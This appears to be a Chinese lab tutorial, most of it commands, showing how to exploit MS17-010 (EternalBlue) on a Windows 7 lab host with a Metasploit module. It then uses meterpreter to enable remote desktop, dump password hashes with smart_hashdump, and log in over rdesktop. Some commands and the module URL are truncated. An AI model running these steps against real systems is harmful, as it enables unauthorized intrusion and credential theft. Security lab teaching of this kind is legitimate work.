MS17-010(EternalBlue)
靶机：win7:service Pack1 172.16.5.201
靶机下载
攻击机：kali 172.16.5.158
而且要保证两台机器之间可以ping通
因为kali里面没有这个rb源代码 所以我们要把这个模块导入进去
我们先要smb模块下载到这里面
代码语言：javascript复制#cd /usr/share/metasploit-framework/modules/exploits/windows/smb
#https://github.com/1stPeak/Eternalblue-Doublepulsar-Metasploit-maste
将Eternalblue-Doublepulsar-Metasploit文件夹depseternalblue_doublepulsar.rb复制到/smb目录下然后删除EternalblueDoublepulsar-Metasploit文件夹
#apt-get update 更新kali
#apt-get install wine32 安装wine32
win32(兼容层） 可以在Linux操作系统上运行 Windows 应用的兼容层
#msfconsole 开启Msf控制台
#use exploit/windows/smb/eternalblue_doublepulsa
#show options 看设置选项
#set RHOST 172.16.5.201
#set PROCESSINJECT explorer.exe
#exploit 执行利用这个时候我们就进入了后渗透模块 如果不知道用什么命令可以 -h
查看目标机的系统信息
meterpreter> sysinfo
meterpreter> run getgui -e
开启靶机远程桌面
meterpreter >run———— windows/gather/smart_hashdump
获取了账号和密码使用 rdesktop 进行远程连接
rdesktop 172.16.5.201
最后可以看到已经连接到靶机了，说明渗透成功，如果对大家有帮助话麻烦大家一键三连谢谢大家！
